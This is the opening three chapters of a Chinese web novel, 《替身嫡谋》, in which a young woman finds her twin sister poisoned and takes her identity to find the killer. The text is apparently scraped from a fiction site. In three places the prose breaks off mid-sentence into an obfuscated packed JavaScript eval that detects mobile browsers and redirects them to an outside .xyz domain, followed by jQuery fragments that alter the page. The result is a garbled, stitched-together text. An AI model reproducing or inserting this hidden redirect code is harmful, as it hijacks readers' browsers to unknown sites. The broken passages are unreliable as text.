《替身嫡谋》 第一章 喜相逢 楔子 关怀素跪在与自己长得一模一样的尸体面前。 “姑娘,外头来人了,我们得走了!”寂静的庄子内院,小厮打扮的女子十分着急,催促地上对着尸体跪着哭泣的人。 外头,一个珠翠琅嬛的大丫鬟正领着一个乡下郎中,已经到了院门口,很快就要入内。 “姑娘,我们真的要走了,若是被发现,您就危险了!”丫鬟柳叶再次催促,甚至想伸手去抓地上人的手。 地上的人本来在无声垂头落泪,但是在被柳叶握住之后,却猛地抬起头来。 他露出的脸上凤眼十分锐利,悬胆鼻桃腮脸,虽然易容,眼睛却与床榻上躺着的尸体,长得一模一样! “柳叶,我不走,我要留下来!”这男子打扮的人发出女子的声音,看着柳叶,含着泪水的凤眼里流出坚毅之色,显然是下了决心。 “姑娘,你疯了!”柳叶不可置信地看着她,惊恐地低声说。 “我没疯,我要留下来。”女扮男装的姑娘咬牙,眼泪一串串落下来,坚定地说,“我一定要查清楚,是谁害**我姐姐,还有,阿娘的死,到底是怎么回事!” 第一章喜相逢 在十五岁的春天到来之前,关怀素从来不知道她还有个胞姐。 她只知道自己被祖父养大,祖父乃是当世有名的大儒,不但将一身工学本事全部教给关怀素,还带她四处游学,因此祖父虽然早逝,但是关怀素在忠仆和师兄的保护之下,加上自己一身本领,却也在祖父逝去之后,很快支撑起关家的门楣,过得十分不错。 虽感慨自己亲缘浅,但是祖父多年呵护、临终之前苦心孤诣地教导布局,就为了让自己活得痛快,得到祖父全心全意的爱,关怀素心中已经十分感恩满足。 直到三月开春的时候,关怀素踏青归来,突然听到师兄问钟妈妈:“母亲,我为何在京师庄子上,见到了与小师妹长得一模一样的女子?” 关怀素当时还只是好奇,便驻足偷听,没想到钟妈妈却面色大变,而后说:“你在京师八仙庄的庄子上看到了和怀素长得一模一样、年纪也差不多的姑娘?你确定?” 师兄点头,钟妈妈脸色惨白,脱口而出,说:“可怜的婉玉,怎地被李家那些丧良心的送到庄子上去了!她一个姑娘家,一个人怎么过呢!” “母亲,你知道这个姑娘?”师兄孙文书当时与关怀素一样十分震惊,不停追问,“母亲你在永年县多年足不出户,怎地认识京师的姑娘?” “你别问了!”钟妈妈不肯说,可是耐不住孙文书追问,只能说一句,“那、那是当初素问生的另一个孩子!” 说完后悔,立刻说:“这事儿不许告诉怀素,给我烂在肚子里,否则她那丫头定然不安分,老爷子就怕她出事,临终都交代她此生不许入京师,你可不能叫她知道,可晓得?!” 师兄震撼之后,自然是点头答应下来,而后二人商议假作故友,给庄子上的婉玉送些钱财过去,再看看有什么能帮帮她的。 二人说得热闹,关怀素却拉着柳叶,已经悄悄地绕路回自己屋子了。 “姑娘,你大半夜翻箱笼做什么?”晚上的时候,柳叶睡得迷迷糊糊,就听到有动静,她自小习武,还以为是进了**贼,起来就准备动手,却看到了月光之下,正是自家姑娘在鬼鬼祟祟地翻箱笼。 “我要去京师!”关怀素激动地说,“我姐姐在京师,我要去看她!” “老爷子临终遗言,让您此生都不许去京师的,您忘了?!”柳叶忍不住提醒。 关怀素有些心虚,扣了扣包袱,轻声说:“我就去京师附近的庄子,又不去京师,也不算违背祖父遗训嘛!” 柳叶有些纠结,对外头看了一眼,在思考要不要赶紧大叫吵醒钟妈妈和外院的孙师兄,叫他们一起拦着自家姑娘。 但是关怀素何许人也,立刻看出她的心思,忙上前一把抓住柳叶的手,连声说:“好柳叶,你就陪我一起去吧!我发誓我什么都不干,我就去看看姐姐,我姐姐叫李婉玉,多好听的名字,柳叶,你难道不想看看我姐姐是什么样子吗?再说了,你不是喜欢吃八宝鸭吗?京师可是八宝鸭的起源地,去京师你就能吃到正宗的八宝鸭了!你不想吃吗?” 柳叶被戳中死穴,瞬间犹豫了。 关怀素立刻趁热打铁,疯狂贿赂柳叶,拍着胸脯发誓如果柳叶陪她一起偷偷翘家,就一路带柳叶吃好吃的! 从永年县北上到京师,马车路过的地方,鳜鱼、桂花鱼、青团油饼子、花糕蒸饼、鹅瓤卷儿腌笃鲜……好吃的简直是遍地都是! 关怀素随口说了一串儿,柳叶哪里遭得住,当场叛变,帮着关怀素收拾好包袱,牵了两匹驴,二人乔装成两个少年郎,只留书一封,连夜北上而去。 一路风尘仆仆,怕给师兄逮住,又怕师兄给祖父的亲朋故旧送信,二人一路连亲友故旧都没拜访,就这么一路悄没声息地吃吃玩玩,到了八仙庄。 等到了地方的时候,因为和姐姐长得一模一样,怕惹出什么麻烦,关怀素便依旧易容,只托词是关家子弟路过此处,想看看老师的后人。 如此拟好拜帖,提前送上,第二日便登门拜访。 到了这个时候,关怀素依旧是欢欣喜悦的,她心中什么都没细想,只是想着见姐姐的快乐。 关怀素想了很多次,和自己一模一样的姐姐,见到了是什么感觉? 毕竟是一模一样的人在自己面前,应该和照镜子一般奇妙吧? 只是激动地想了一路,却没想到,刚见到姐姐的第一面,关怀素的感觉却是从未想过的——愤怒。 是的,关怀素见到姐姐的第一感觉,是愤怒。 姐姐确实与关怀素长得一模一样,但是哪怕关怀素不易容,二人面对面坐在一起,却依然大相径庭。 因为虽然是一模一样的容貌,可关怀素常年游学,长得高挑又强健,比姐姐高了一整头,假扮成男子都毫不违和。 可姐姐李婉玉,却十分怯弱,捏着帕子坐在凳子上,身子骨瘦削的风都能吹倒不说,脸色发黄带着病气。 更让关怀素气愤的是,姐姐身上带着一股胆怯感,便是身后那个丫鬟都瞧着比姐姐姿态舒展。 这不是一个被教导良好的大家姑娘该有的样子,姐姐处境必然十分不好。 这是关怀素当时第一感觉。 走近了一看,登时更是火大——却原来近了看清楚,才发现姐姐身上的百迭裙居然是褪色的棉布,全身上下素的干净,唯一的鲜亮色是一件半新不旧的绿缎面比甲。 要说是主子自己喜欢素简,却也不是,关怀素也有知道有个江南的姐姐,天生的性子清冷,只喜欢素简,便是和她们一起聚会的时候,也经常穿个半新不旧的纱衣就来了。 但是凡是主子喜欢这样的,那丫鬟自然也是如此,全身上下洁净简朴。 可姐姐如此素净,身后的丫鬟却穿着秋香色的绣花缎面比甲,头上戴着翡翠蜻蜓嬉水的头面。 光丫鬟头上这对簪花,就能买姐姐身上十套新衣衫。 如此狂悖,竟是丫鬟比主子还富贵,姐姐显见着处境十分不好。 关怀素见此,再看姐姐起身看到她,没说话已经一串眼泪出来,哽咽行礼说:“劳烦孙师兄记挂,是婉玉不孝,竟才知道外祖父已经去了好几年了,婉玉、婉玉实在是枉费祖父惦记,枉费各位师兄挂心……” 说到这里,姐姐捂着帕子,痛哭不止。 祖父已经去了六载,可此刻见姐姐如此痛哭,关怀素眼泪一瞬间也下来了,哭着拱手说:“老师也十分惦记您,让我们若是路过京师,都要过来问问,姑娘可有什么难处,可要什么帮忙?” 结果才说到这里,身后那丫鬟就忍不住开口说:“孙郎君,您虽是关老先生的弟子,到底是外男,不要离姑娘太近了。” 又对李婉玉说:“姑娘,您一个人见外男,已经是不合礼数,去屏风后面说话吧。” 这么一说,关怀素才发现,这见客的屋里,居然还摆了屏风。 关怀素心中愤怒,她冷笑一声,说:“孙某走南闯北,便是陆大儒家里也拜访过,陆家姑娘们出来见客,也没这么大的礼数。” “那是你们,京师的姑娘家娇贵,等闲不见外人。”丫鬟冷笑一声,居然直接回话,说,“孙郎君要说什么快说吧,一会子一炷香的时间就到了,咱们姑娘就要歇了。” “碧桃,你别说了,我去屏风后就是。”姐姐显然十分舍不得母亲娘家的客人,但是她却不敢呵斥自己的丫鬟,反而含泪拉着丫鬟的手,求饶一般地说。 关怀素差点被气死,却也不能说什么,只能眼睁睁地看着碧桃得意地笑了一下,而后扶着姐姐去屏风后坐着。 二人便这么隔着屏风,一问一答起来。 姐姐显然对祖父也十分濡慕,反复追问祖父在世时的一些事情,关怀素便把自己的事情挑拣着说了一下,只说成是祖父与弟子的相处。 姐姐听着,哭了两次,又说:“若是能早知道,哪怕只能在外祖父膝下承欢一年半载,死也甘愿了。” 关怀素闻言,想到祖父的豁达与慈爱,对自己的谆谆教导,再看看姐姐的处境,愈发难过,也跟着哭起来。 姐妹二人正哭泣,丫鬟碧桃却突然开口,说:“大姑娘,一炷香时间已到,您该回房了,免得于礼不合。” 又转过来对关怀素皮笑肉不笑地说:“孙郎君,您请吧。” 关怀素为了姐姐一直在忍,从登门开始,门子就怠慢, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姐姐吓了一跳,看了看地上丫鬟,面露不忍,轻声说:“师弟,碧桃她性子大大咧咧,却没什么坏心……” “表少爷饶命!是婢子糊涂了,表少爷是咱们大姑娘外祖父的嫡传弟子,原也算是自家亲戚,是碧桃多嘴了!”碧桃原就是个内宅丫鬟,作威作福惯了,此刻被一记窝心脚踹的吐出一口血,哪里不知道遇到了硬茬子? 这人真的会杀了自己,而且他还是关大儒的弟子,替大姑娘教训下人天经地义……想到这里,碧桃意识到这人不是自己能惹的,立刻不顾心口剧痛,全身冷汗地跪在地上哭着求饶起来。 放在关怀素手里,碧桃这样的下人,定然是要发卖走的。家里留这种婢女,迟早是祸害。 可是这里不是她的地方,关怀素只能认真对姐姐说:“这丫鬟不是大大咧咧,她分明是拿捏主子,目无主上,姑娘,此等刁奴不能留,否则他日只怕横生事端啊!” 但显然,姐姐还是心软了。 不是她的错,她们一母同胞,为何她关怀素能看得清楚利害关系,能下手果断?而姐姐却优柔寡断,过于滥好人到了任人欺负的地步? 无非是看有没有被好好教导而已。 看姐姐现在这个样子,可以知道她绝对没有被人好好教导,因此关怀素只能看着姐姐轻声说:“算了算了,碧桃,你下去休息吧。” “谢姑娘恩典!”碧桃看李婉玉如此说,立刻欣喜地站起来。 “站住!”关怀素冷声开口,吓得碧桃一僵,关怀素冷冷地看着她说,“你家姑娘叫你起了吗?” “无事,碧桃,你下去吧!”碧桃本来都被吓得不敢动了,姐姐一出声,立刻应了一声,一溜烟跑出去了。 “师姐,你这样,下人只会愈发蹬鼻子上脸的。”关怀素方才发作,一半是真的发火,一半是想趁机帮着姐姐立威,但是姐姐却直接放了人,关怀素忍不住有些焦急地对她说,“与人相处当张弛有道,一味松弛纵容,于你于她都无任何好处啊!” 姐姐当时笑了笑,轻声说:“算了,她们也不是什么坏人,只是骄纵些罢了。” 说着又问起关怀素许多永年县的事情来,关怀素见姐姐显然不想细说,便想着先说些开心的,也不再提整治下人的事情,只一味说开心的事情,二人说了许久,直到太阳西斜,关怀素把自己偷偷带的五百两银票给了姐姐,让她留着傍身,强行让姐姐收下,这才告辞,说明日再来探望。 姐姐当时依依不舍,送到了二门口。 “明日我再来拜访!”关怀素笑着对姐姐挥手, 姐姐立于满是爬山虎的满月门前,笑着与她颔首。 这时候二人都没想到,此次一别,再次相见之时,竟然已经是天人永隔。 第二章 永诀别 倒不是关怀素存心想失约,实在是她一走出八仙庄,半路上就被孙师兄拦住了。 孙师兄眼下都是黑青,胡子拉碴,极少有如此狼狈的时候。 他坐在赶车的车辕上,叫关怀素和柳叶登时吓得贴在一起。 “师兄,我不是故意的。但是你不知道,得亏我来了,不然我姐姐现在真的看着很不好!你不知道姐姐身边的下人多嚣张跋扈……”关怀素期期艾艾地赔笑着上前撒娇,想说自己计划待在京师这边,帮着姐姐把下人处理好,最好能私下表明身份,跟姐姐相认,再问问姐姐具体是什么处境,为何独居庄子,再帮姐姐出谋划策一番。 关怀素有很多很多计划,却挡不住师兄开口疲惫地说:“我娘病重,郎中说只怕不好了。” 孙师兄的娘钟妈妈,对于关怀素来说,与亲娘无异。 关怀素无力思考,当场跳上马车,跟随师兄一起回永年县侍疾。 钟妈妈这场病十分凶险,原本就是被关怀素逃家吓得,却把多年一些顽疾都招惹出来,如此缠绵病榻,居然一病便是两个多月,才总算好了起来。 关怀素到了这个时候,才总算是松了口气。 而这个时候,关怀素立刻又动了上京师见姐姐的心思。 “你可知道你祖父为何不许你进京师,又为何这些年不让你与李家人相认?”钟妈妈见她如此,叹了口气,轻声说。 “我不知道,但是祖父总是为我打算的。”关怀素垂着头,闷闷地说。 “哎,此事说来话长,当初你生下来,全身乌黑,哭声像小猫崽一般,接生婆当场就说,这孩子只怕活不到满月。”钟妈妈感慨地叹了口气,终于说出了准备瞒一辈子的事情。 “我记得,我小时候身子一直不好,冬日不能出门,吹一点风第二日就起不来了。”关怀素点头,她现在虽然身强体壮,但是幼时却十分孱弱。 钟妈妈点头,叹气说:“当初你阿娘听到此事,便由我护送你连夜赶回永年县,便是娘子知道,老爷子能请到医仙公孙先生,送你回来,是你唯一的生路。” 关怀素第一次听说这些事情,在她的记忆之中,公孙爷爷自出生就在,等到她六七岁,才去云游,但是在十二岁之前,公孙爷爷每年都会回永年县看看她的情况,直到十二岁彻底确定大好了,才再没来过。 但是关怀素不知道,里头居然这么凶险。 她有些依恋地凑过去抱住钟妈妈,钟妈妈摸着她的头发,叹了口气说:“我当时不敢合眼,抱着你回了家。老爷子也是想着先把你养好再说,谁知道后来没一年,就传来娘子产后崩漏去世的消息,老爷子去了一趟吊唁,回来脸色就很不好,说李珺竟做了王寻的弟子,日后得想办法把婉玉接回来教养,老爷子不许你认你父亲,也是因为这个缘故。” 关怀素立刻微微皱眉,说:“王寻……是那个提出复兴儒礼、克己守道的王寻吗?” 钟妈妈叹了口气,点头,说:“正是他,这些年很得圣人重用的那个。” 关怀素闻言,登时恍然大悟,说:“难怪我与姐姐见面,她家里的丫鬟一再说不能见外男,我当时只顾着生气,如今想起来,李家显然就是那癫狂的儒生家里了!” 钟妈妈点头,严肃地说:“正是。老爷子临终前一再念叨,说女官都叫王寻借着三从四德给撤的差不多了,又说因为王寻的那狗屁学说,如今世道愈发对女子不利,许多地方因女子不能抛头露面、又不能立女户,竟又起了溺死女婴的习俗……老爷子生前一再想把婉玉姑娘接回来教养,别叫李家养坏了脑子,只是天不假年……” 说到最后,钟妈妈叹了口气。 关怀素闻言,立刻激动地说:“就是因为如此,我才更要去帮姐姐啊!” 钟妈妈说:“可是老爷子遗训,你绝不能被**现,否则李家若是拿那一套来约束你,你这辈子可怎么过呢!” “可是姐姐被欺负得可惨了!妈妈你不知道,姐姐穿得比永年县的富户小姐都不如,身边的丫鬟都能欺负她!我不帮她就没人能帮她了!”关怀素闻言,立刻着急地把姐姐的处境说了,又说到和丫鬟吵起来的事情,听得钟妈妈大怒,说:“什么?婉玉竟过得这样的日子,李家没人教她驭下的么?!” 看关怀素摇头,钟妈妈心中登时大怒,却还是不想关怀素去京师。 “妈妈,我就这一个血脉亲人了。”关怀素保住钟妈妈,三分是演,却七分是真情流露,她带着哭腔说,“我得去帮帮姐姐。” 良久良久,钟妈妈一声叹息。 她苍老的手摸了摸关怀素的脑袋,温声说:“我知道姑娘聪明,只是姑娘一定要答应我,绝对不可以暴露身份,绝不能叫**现姑娘的存在,好不好?” 关怀素眼睛一亮,欢喜地坐起来,欢呼:“一定!妈妈你放心,我绝对听话!” 终于叫家里人放下心,关怀素便立刻启程去京师,这回师兄孙文书送她们,赶着驴车一路北上,关怀素一路认真看祖父当年经营八仙庄时候的手记,只想着等到姐姐需要的时候,给她分析一下情况,好歹让姐姐先把庄子的人事管清楚。 只是没想到,一番准备,心中喜悦,到了地方,却迎头是噩耗。 开始在外头的时候,完全毫无征兆。 门房还是打着呵欠一副惫懒的样子,一路上下人都没看到,显然都在偷懒。 进了姐姐的院子,只一个总角小丫鬟焦急张望。 除此之外,偌大一个院子,竟再无伺候之人。 看到关怀素和柳叶走进来,小丫头吓得面无人色,瑟瑟发抖地想拦她们。 关怀素还没说话,就听到屋内女子痛苦的呻吟声。 关怀素当时心中一跳,立刻紧张地问:“怎么回事?你们姑娘怎么了?” 小丫头抖着嗓子说:“郎君请出去,姑娘现在不便、不便见客……” 还没说完,却听到屋里凄惨沙哑的痛嚎:“小荷、小荷?” 关怀素一听,哪里还顾得上别的,立刻便冲进了屋里。 一进里屋,一眼就看到简朴的闺房内,那挂着棉布床幔的四柱大床中间躺着一道薄薄的身影。 走近了一看,那躺着的姑娘清瘦的仿佛只剩下一把骨头,满头黑发散乱地披散在床褥上,脸色惨白,发紫的唇边已经溢出一些白沫。 确实是**,且还是剧毒! 关怀素惊怒交加,抓住小荷大声问:“怎么回事,你家姑娘好好的,怎么会**?!” “姑娘早上用了朝食之后就肚子疼,碧桃姐姐说去找郎中了,兰花姐姐说她去烧水,我一直在等着……”小荷吓得发抖,哭着说,“我、我不知道……” 便在此时,床上的姐姐又发出痛苦的呻吟声,关怀素登时急了,上前就一把抓住姐姐的手腕号脉,一上手关怀素的心就沉下来,眼泪夺眶而出。 “我、我是不是不好了?”床上,李婉玉轻声疲惫地问。 “你**已经有两个多时辰,已经深入心腑……”关怀素懂些医理,正是因为如此,她才更加绝望。 她眼泪一串串地掉,因为激动,忘了伪装声音,却叫李婉玉听了出来。 李婉玉突然一愣,而后诧异地说:“孙师兄,你是女子?” 关怀素一愣,这才想起来自己的伪装,但是此刻她也不想隐瞒,当场撕下了脸上作为伪装的胡须。 胡须一撕下来,虽脸颊额角线条做了易容,但是单单这么看,就已经与李婉玉像足了八分。 李婉玉瞪大眼睛,不可置信地看着她,茫然地问:“这、这是怎么回事,你怎地与我如此相像?!” “姐姐!”关怀素喊了一声,眼泪瞬间就下来了。 “你、你……你唤我什么?!”床上的李婉玉听到这里,心中震惊,竟然挣扎着坐了起来,双手拉着关怀素的手,不可置信地看着她问。 “姐姐!我的祖父是关怀远,我叫关怀素,怀素,是怀想阿娘关素问之意……”关怀素此刻哪里还记得什么祖父遗命、答应钟妈妈说要隐瞒身份。她的眼泪一串串如断线珍珠一般不断滚落,抱着姐姐,哭着就把自己的身份全说了。 李婉玉听完,震惊得无以复加。 而后再想到几个月前与关怀素相处,当时虽不知道她是自己的亲姐妹,但是却完全能感觉到她一举一动对自己的关切,那是李婉玉人生第一次感觉到被如此关切和挂心的感觉。 “行、行……”李婉玉点头,笑中带着泪花,轻声喘着气说,“我、我就说……为何、为何一见你、你……竟如此、如此亲、亲热……原来、你、你是我的亲妹妹……” “柳叶,去弄些皂水来给姐姐催吐!”关怀素眼泪完全止不住,哽着声音吩咐柳叶,转过来眼泪如断线珍珠一样一直往下掉,她呜咽着说:“我也是,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183278|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当日想第二天再来拜访,但是被师兄抓回去了,只来得及叫人给你传了个消息。呜呜呜呜……姐姐,对不起,我不是故意来迟的,你一定要坚持住好不好?你不知道我多开心知道自己还有个姐姐,祖父去世之后,我以为天下之大,我再也没有别的亲人了,姐姐你不知道,我知道世界上还有个亲姐姐有多开心、多期待!” 李婉玉看着呼吸困难,面如金纸,但是看着关怀素哭,却努力伸手,想给她擦眼泪。 她也有好多话想说,上次见面,因顾忌着还以为亲妹妹是师弟、是外男,她虽心中觉得亲热,却也不敢太过亲密。 如今知道这是自己的亲妹妹,全身发冷的时候有这么一团火热的人抱着她,李婉玉虽然落泪,确实喜极而泣。 她脑海里想到上一次,自己的妹妹为了自己拍桌怒骂的样子,还有给自己塞钱让自己傍身的样子……李婉玉心中第一次暖融融的。 其实她四肢百骸俱都寒凉,但是却是人生第一次觉得如此火热。 “姑娘!大姑娘!皂水来了!”关怀素并不知道姐姐在想什么,听到柳叶匆匆进来,立刻接过皂水,对着姐姐想解释:“姐姐,皂水难喝,但是可以催吐……” “妹、妹妹,我……信你。”关怀素还想解释什么,却被姐姐低哑艰难的声音打断了。 关怀素一愣,抬眼看过去,却看到姐姐温柔却又坚定的眼神。 那与她一模一样的眼睛里,全是无言的信任与温暖。 她信任她。 这就是血脉同源的亲密吗? 明明也不过见过一次,才将将相认,居然就能让姐姐对她付出如此大的信任。 关怀素心中燃起一股暖流,她一擦脸上的泪水,不再多话,上前就给姐姐喂了下去。 艰难咽下去一半,李婉玉就觉得难受,很快捂着床榻作呕起来。 关怀素拿着小木桶抱在胸口,一点也不嫌弃地接着,一边还给姐姐拍背顺气,李婉玉连吐了几次,漱完口,奄奄一息地躺在榻上。 只是关怀素看了一下她吐出来的东西,顿时脸色一白。因为那小木桶里吐出来的没有一点成型的东西,全都是黄褐色的水。 “怀素……”关怀素瞬间难看的脸色,李婉玉一点也没错过,再说她也已经感觉到了自己身上那股子被剖开一样的疼反而减缓了,李婉玉突然感觉到一股强烈的生机来,她竟然自己彻底坐了起来,对着怀素招呼,“怀素,别看那秽物了,过来陪姐姐说说话吧。” 关怀素抬头,看到姐姐坐起来,脸颊上溢出一股子温润的生机来,看着烨烨夺目,像是没有生病一样。 她心中大痛,因为关怀素知道,这并不是姐姐好了,正是因为不好了,才有了回光返照之相。 她的眼泪一串串地流,扑在姐姐的塌前,眼泪止不住,嘴唇哆嗦,却不知道说什么。 “别哭,怀素……我的妹妹。”姐姐李婉玉细细给怀素整理碎发,仔细端详她的样子,像是要把她的样子深深刻在脑海里一样,然后李婉玉握着关怀素的手,身体冰冷,声音却带着暖意和温柔地轻声说,“你看着被教养得很好,与我完全不一样,显见我们祖父定然也是个很好很好的人……” “姐姐……对不起姐姐,我上次应该告诉你的,我应该和你早早相认的……”关怀素看姐姐眷恋不舍的样子,心中大痛,不住哭着对姐姐不断道歉。 “不用……咳咳……”李婉玉想笑,却咳嗽了一下,接过关怀素慌张递过来的帕子压下咳意,李婉玉看着她认真地说,“不用相认,我……我、我……” “姐姐!姐姐!”关怀素看姐姐喘不过气,枯瘦的脸上青筋暴起,像是弥留之相,顿时痛苦地大哭起来,却只能不断地叫着姐姐。 可是叫喊并不能阻止姐姐的离去,关怀素泪眼婆娑,感觉到姐姐挣扎着、极其用力地握住自己的手。 那双手非常用力,攥的关怀素甚至觉得刺痛,她茫然看着姐姐,就看到见面以来一直温柔甚至有些胆怯的姐姐眼里爆发出精光,她直直地盯着关怀素,又急又快地连声说:“妹妹,我被放逐到这里,是因为我、我发现……我们的阿娘、是、阿娘、阿娘可能是……是被人害死的……是、是……” 说到这里,最后一丝回光返照的力量消失,关怀素在震惊之中,亲眼看到这世界上唯一一母同胞的双生姐姐瞪大眼睛,就这么死在了自己面前。 第三章 李代桃僵 关怀素满脸泪水,震惊与痛苦瞬间疯狂冲击,她一下子竟然呆住了。 “姑娘,姑娘?!”身后一直跟着的柳叶看着不对劲,连忙上前扑跪下来,一把抱住关怀素,紧张地拉着她连声问:“姑娘,你别吓我,你快醒醒!” 而后院子外头响起人声,这便出现了之前开头那一幕。 关怀素看着姐姐的尸体流泪,她好像想了很多,但是又好像什么都没想。 她只知道在这个瞬间,她下定了决心。 “姐姐不能白死,起码我要让害死她的所有人付出代价!”关怀素抬起脸,眼神锋利如刀,她冷声说,“关家人不行凶作恶,但是有仇必报。” 柳叶与她一起长大,见关怀素这样子,便知道再无转圜余地。 就在这个时候,门口响起女子的声音:“这些作死的,竟然一个个都去躲懒了,黄郎中,您往这边请。” 柳叶与关怀素对视一眼,立刻默契地起身,一把抓住身后的小荷,嗖的一声进了旁边的空柜子里。 关怀素则立刻抱起姐姐的尸体,看了一眼,关怀素眨掉眼里的泪水,咬牙把姐姐放到了床底下。 她自己则飞速钻到被窝里,把发髻整个松散下来,连男装外衫也脱下,只穿着中衣躺下。 刚做好这一切,门开了。 “姑娘,您醒了?我这紧赶慢赶的,终于把郎中请来了!”碧桃进门就大声招呼,全然不管这庄子上离村子就一炷香的时间,而她请人却用了两个时辰。 关怀素对这个拖延害姐姐受苦的丫鬟已经是恨极,却勉强压下来,只咳嗽了一下,模仿着姐姐的神态,微微带着愠怒对着门口的丫鬟说:“怎么没有架屏风?” 得亏李家有许多酸儒规矩,对女子苛刻,否则关怀素脸上此刻还有易容,若是真凑近了,只怕马上就会识破。 碧桃愣了一下,微微心虚,却嘴里立刻念叨起来:“也是,我走的时候让小荷照看着,她人呢,怎地屏风都未曾架好?” 看关怀素不说话,她口里骂着:“也不知道那帮小蹄子去哪里躲懒了,二门外的婆子竟然也不在,屋里居然一个人也没有!” “好了,无需多说,先把帐幔放下吧。”关怀素打断碧桃的话,声音虽然刻意学着姐姐放缓,但还是让碧桃愣了一下。 碧桃下意识去看从床上坐起来的大姑娘,发现大姑娘半坐起来,身上盖着被子,整张脸半被遮挡在帐幔后面,只露出一点白腻的下巴。 只是下巴显得轮廓方正不少,而且……姑娘之前穿的是交驳领子的中衣吗?而且……怎么恍惚中看着,似乎那儿还有泪痕? 碧桃顿时有点恍惚。 “嗯?”碧桃愣神的那一瞬,突然听到姑娘不耐烦的声音。 碧桃前些日子才被关家来的人整治过,虽还是看不起姑娘,但是关家那人传话回来,说还要再来,因此碧桃顾忌这个,最近也不敢对主子太过分,这会子虽然心里不爽气,却还是压抑了下去,匆匆上前放下帐幔,而后,从里面伸出一只修长白皙的手来,碧桃招呼外面候着的郎中上前诊脉。 “姑娘脉象并无其他问题,腹痛许是吃坏了东西,吃些温补好克化的东西便成了。”郎中诊脉完毕,神色也放松下来。 关怀素道谢之后,便叫碧桃去送客。 碧桃才一出门,关怀素反手锁门,柳叶带着眼圈还红红的小荷从柜子里出来。 “你听好,从现在开始,我就是你家主子李婉玉,明白了吗?”关怀素对着含着眼泪的小荷说,“别叫,也别想拆穿我,否则我就说是你给主子灌**害死主子,明白吗?” 小荷唬了一跳,扁着嘴就哭着说:“姑娘是咱们姑娘的亲妹妹,咱们姑娘是好人,知道我被碧桃姐姐欺负,还悄悄赏我大肘子吃呢……咱们姑娘肯定想帮您,小荷也帮姑娘!” 关怀素闻言,叹了口气,摸了摸小姑娘的脑袋说:“小荷是个知恩图报的小姑娘,方才委屈你了!” 小荷又不委屈了,被夸得脸都羞红了,她不好意思地埋下头,猫儿洗脸一样快速把脸上的泪水擦干净。 关怀素心中稍微温软了一点,姐姐虽然一直似乎过得艰难,但是临终前居然还有这个天性纯善的小丫鬟陪在身边,到底不算全然黑暗无光。 但是她很快恢复冷静,脸上肃穆起来。 因为关怀素知道她现在每一步都走在悬崖上,稍有不慎只怕就是粉身碎骨的下场,既然踏出一步,就必须把这事儿圆上。 起码现在最危险的第一步她过来了。 “一会儿你跟在我身边,把每个人的名字都提点一下。”关怀素跟小荷商量。 小荷立刻点头,二人达成一致,很快门外传来声音,柳叶藏入侧室,关怀素便转身回了床上,合上帐幔。 透过帐幔,关怀素看到小荷匆匆去开门,门外是碧桃提着一桶水进门来了。 “作死的,原来你这个小蹄子在屋里,闷声不出气,倒听着我在门口叫的口干舌燥的!”碧桃开门就是一顿骂,不光这样,她还上前掐着小荷腰间软肉,掐的小荷疼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183279|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痛难忍,小孩儿言语之中立刻带上了哭腔,连声喊:“碧桃姐姐,是我错了,呜呜呜碧桃姐姐饶了我吧……” “水可备好了?”关怀素皱眉,实在是看不下去,出声阻止。 “姑娘醒了?”碧桃听到她的声音,关怀素以为她好歹能收敛一些,但是没想到碧桃却说,“姑娘,我在教训小荷呢!她小小年纪不学好,偷奸耍滑,且需要人教训!” 关怀素压着怒火,只说:“水弄好了就带人都出去,留小荷伺候我梳洗即可。” 这话说完,碧桃愣住了,她茫然地问:“姑娘,平日不是都由我来服侍姑娘梳洗吗?” “怎地,我做事还得要你准许?”关怀素冷声问。 若是其他下仆,听到这里已经知道姑娘不开心了,必然是要小心恭顺地请罪再出去。然而关怀素却目瞪口呆地看到碧桃突然愣住,然后猛地站直身体,居然也直接冷声说:“姑娘稀罕谁伺候就让谁伺候,既然碧桃不得你喜欢,也不在姑娘面前现眼了,这就走!” 这话说完,居然甩袖就走! 这脾气发的,比正经姑娘还有派头,把关怀素都看得愣了一下。 “姑娘……”小荷看到关怀素起来关门,怯生生地行礼,眼里还带着泪花。 关怀素暗叹一口气,从怀里拿出一瓶药膏递给小荷,放缓了声音,温声说:“这是化瘀的药膏,擦一下吧。” 塞给小荷之后,关怀素让柳叶照应着,自己进屋去洗了易容。 等把脸上的易容洗去,再换了一套姐姐的常服,关怀素换好衣服出来,小荷顿时吓得跌坐在地——只见眼前人与自家姑娘一模一样,仿佛姑娘白日复生了! 柳叶扶她起来,关怀素来不及安慰小荷,只问她:“小荷,你跟我说清楚,你家大姑娘是什么时候腹痛的,是为何腹痛?” 虽方才留下来是冲动,但是关怀素一定要查清楚姐姐的死因! “是用早膳的时候,姑娘用到一半突然喊肚子疼,就回来躺下了……”小荷努力回想。 “具体用的都是哪些菜?现在那些菜可还在?”关怀素追问。 